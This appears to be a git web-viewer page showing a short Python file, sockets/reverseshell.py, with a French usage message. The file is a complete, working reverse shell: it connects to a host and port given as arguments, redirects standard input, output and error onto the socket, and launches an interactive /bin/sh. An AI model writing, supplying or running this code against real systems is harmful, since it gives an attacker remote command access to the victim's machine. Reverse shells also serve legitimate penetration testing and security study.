summaryrefslogtreecommitdiff
path: root/sockets/reverseshell.py
blob: fc7e860e6367555ca42a4f6caf5b731dab545b8a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python

import sys, os, socket

def reverseshell(host,port):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.system("/bin/sh -i")
    
if __name__ == "__main__":
    try:
        reverseshell(sys.argv[1],int(sys.argv[2]))
    except IndexError:
        print(f"{sys.argv[0]} demande un hôte et un port en  agument")